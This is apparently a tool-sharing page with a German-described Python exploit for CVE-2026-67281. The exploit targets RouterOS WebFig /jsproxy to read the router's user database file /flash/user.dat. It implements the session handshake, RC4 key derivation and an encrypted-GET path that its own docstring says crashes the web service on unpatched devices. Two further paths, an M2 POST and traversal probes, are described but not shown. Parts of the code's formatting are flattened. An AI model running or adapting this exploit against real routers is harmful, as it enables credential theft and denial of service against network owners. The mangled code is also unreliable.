Python-PoC für CVE-2026-67281: nutzt RouterOS WebFig /jsproxy über verschlüsselte URI-GET-Anfragen, M2-Nachrichten-POSTs und statische Traversal-Pfade aus, um /flash/user.dat zu lesen.
#!/usr/bin/env python3
""" CVE-2026-67281 — RouterOS WebFig /jsproxy Datei-Lesevariante.
Versucht, /flash/user.dat über drei unabhängige Codepfade zu lesen:
Pfad A — Verschlüsselte-URI-GET (GET /jsproxy/?) Erreicht nv::findFile nach Entschlüsselung + Autorisierung. Stürzt auf ungepatchtem 7.21.5 aufgrund des session list_head-Bugs ab; erwartungsgemäß funktionsfähig, nachdem MikroTik den DoS gepatcht hat.
Pfad B — M2-Nachrichten-POST (POST /jsproxy mit M2-Body) Verwendet nv::Handler::handle → checkAccess → is_allowed. Berührt nicht den abstürzenden Entschlüsselungspfad. Erfordert den korrekten cmd- Namespace, den dieses Skript aufzählt.
Pfad C — Direkter statischer GET (GET /webfig/) Liefert statische Dateien aus /home/web/. Enthält grundlegende Traversal- Sonden gegen das ausliefernde Root-Verzeichnis.
Jeder Pfad ist unabhängig. Das Skript führt sie der Reihe nach aus und meldet, was funktioniert hat, ohne nach einem Absturz erneut zu versuchen.
Nur für autorisierte Laborumgebungen. """
import hashlib import secrets import struct import sys import time
import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)
MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")
SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")
FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27
FS_SHORT, FS_LONG = 1 << 24, 1 << 25
class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0
def set_key(self, key: bytes) -> None:
if not key:
raise ValueError("empty RC4 key")
self.S = list(range(256))
self.i = self.j = 0
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) & 0xff
self.S[i], self.S[j] = self.S[j], self.S[i]
for _ in range(768):
self.gen()
def gen(self) -> int:
self.i = (self.i + 1) & 0xff
self.j = (self.j + self.S[self.i]) & 0xff
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]
def crypt(self, data: bytes) -> bytes:
return bytes(v ^ self.gen() for v in data)
def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]
def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]
def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]
def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)
def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx
def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}
try:
sid, tx, _ = handshake(base, http)
except Exception as e:
result["error"] = f"handshake: {e!r}"
return result
pt = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)
try:
r = http.get(url, timeout=timeout)
result["status"] = r.status_code
result["body"] = r.content
except requests.exceptions.ConnectionError as e:
result["crashed"] = True
result["error"] = repr(e)
except requests.RequestException as e:
result["error"] = repr(e)
return result
def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))
def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))
def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)
def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out
def _str(name, s):
raw = s.encode("utf-8")
if len(raw) < 256:
return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw
return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw
def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)
Entdecken Sie die meistgenutzten Tools unserer Community.
Noch keine Beliebtheitsdaten.